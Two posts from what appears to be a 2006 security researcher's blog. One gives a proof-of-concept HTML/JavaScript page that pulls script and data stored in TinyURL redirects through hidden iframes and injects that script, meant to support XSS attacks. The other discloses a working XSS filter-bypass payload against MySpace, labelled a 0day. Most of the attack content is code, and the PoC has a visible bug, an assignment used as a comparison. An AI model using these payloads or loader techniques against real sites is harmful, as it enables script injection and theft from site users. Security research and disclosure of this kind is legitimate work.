Saturday, December 30, 2006

Detecting Logged In Users

This summary is not available. Please click here to view the post.

Using TinyURL For Storage (includes PoC)

Note: To skip to the PoC click here.

I recently read the following post about trying to write something that took advantage of pdp's article of using tinyURL for storage: http://michaeldaw.org/news/news-221206/

Sadly at the time I hadn't actually read pdp's article (http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/) further than the first couple of lines, because the title seemed rather self explanatory. Anyway, I wanted to write a comment to that post, but it didn't want to let me, maybe that's because the comments are moderated or something, so here's what I wanted to write:

Sure, you can't directly link to them and have them to redirect to data URLS, you need a different type of redirect (http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html) for that to work. And anyway, if Location headers could redirect users to data URLs then we'd have yet another XSS vector to deal with.

What you can do though is create URLs with your data in them like this one: http://tinyurl.com/ye9kbd which redirects to http://www.google.com/search?q=data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4=

But that still leaves us with the problem of having a cross-domain browser security policy, whereby we can't even find out where the URL redirected to, unless its on our site. But since we're already attacking a site, we can easily just create a tinyURL with the data in the query string.

So lets say you were conducting an XSS attack against www.example.com you could submit http://www.example.com/#data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4= to tinyURL, get a URL back, put the tinyURL in the src attribute of an invisible iframe, then set the onLoad event (or something else, onLoad is just easy to work with) to parse the location, and then simply use that data as you need to.

And since we're using the # symbol to separate our data, it won't show up in the site's logs, since everything after it shouldn't sent by the browser.

But a more profitable method would probably be to simply post your data on a site with an insecure crossdomain.xml file, and use flash to make arbitrary requests to read that data.


Anyway, even though its taking up most of the post, its not the important part, I also got bored and wrote a PoC for pdp's idea (which is exactly the same as mine actually, but I should have read his article, :S). It needs to be run on localhost for it to work, well, either that or you need to change the tinyurls to reflect the site you're hosting it on, and you need to make sure the len argument is correct, I'm using 18 because http://localhost/# is 18 characters in length. Anyway, here's the actual code:

<html>
<body>
<script>

function getURLEncodedScriptFromTiny (tiny, len) {

    var b64iframe = document.createElement('iframe');
    b64iframe.src = tiny;
    b64iframe.style.display = 'none';
    var callback = new Function ('getb64callback(this, ' + len + ');');
    b64iframe.onload = callback;
    document.body.appendChild(b64iframe);
}

function getb64callback (iframe, len) {

    var script = iframe.contentDocument.location + '';
    script = unescape(script.substring(len));

    document.body.removeChild (iframe);

    var b64script = document.createElement('script');
    b64script.type = 'text/javascript';
    b64script.text = script;
    document.body.appendChild(b64script);

}

function getDataFromTiny (tiny, len, order) {

    var data_iframe = document.createElement('iframe');
    data_iframe.src = tiny;
    data_iframe.style.display = 'none';
    var callback = new Function ('getDatacallback(this, ' + len + ', ' + order

+ ');');
    data_iframe.onload = callback;
    document.body.appendChild(data_iframe);
}

function getDatacallback (iframe, len, order) {

    var temp = iframe.contentDocument.location + '';
    data[order] = temp.substring(len);
    loaded++;
    document.body.removeChild (iframe);
}

getURLEncodedScriptFromTiny ('http://tinyurl.com/ycx7mq', 18);

var data = new Array(2);
var loaded = 0;

getDataFromTiny ('http://tinyurl.com/w6jwb', 18, 0);
getDataFromTiny ('http://tinyurl.com/y35tuw', 18, 1);

function CheckLoaded() {
    if (loaded = 2) {
        clearInterval (tiny_wait);
        var content = document.createElement('textarea');
        content.value = decode64(data.join(''));
        content.cols = 80;
        content.rows = 20;
        document.body.appendChild(content);
    }
}

var tiny_wait = setInterval('CheckLoaded()',2000);


</script>
</body>
</html>


Note: The code WILL break if the first request to TinyURL (the one for the URL Encoded script) takes too long and finishes after the actual content has been loaded, because the CheckContentLoaded function uses the function stored on TinyURL.

Also, the code could probably be made half its size by removing the functions to get the script, and making the remaining two functions which get data from Tinyurl a little bit more agile, but its a PoC, making it work efficiently is a task left to the reader, :p

Sunday, December 24, 2006

MySpace Non-Alpha-Non-Digit XSS 0day

It seems that MySpace has finally understood the issue here, which is good news, but the way their filter is written is working against them, or at least thats what I'm guessing from the results I'm getting.

Anyway, here's the exploit:

<body onLoadmoz-binding="alert('XSS');">

As you can see if you run that moz-binding is changed to .., and we are left with the following:

<body onLoad..="alert('XSS');">

So from this I think we can quite safely assume that they have a few separate modules which have their go at the code in order, and if something gets changed to something dangerous, but the module that would filter that particular dangerous code out has already run (the non-alpha-non-digit filtering module), then the code is allowed through.

Isn't black box auditing fun? You end up making guesses that are quite often so very wrong but fit your results, :p.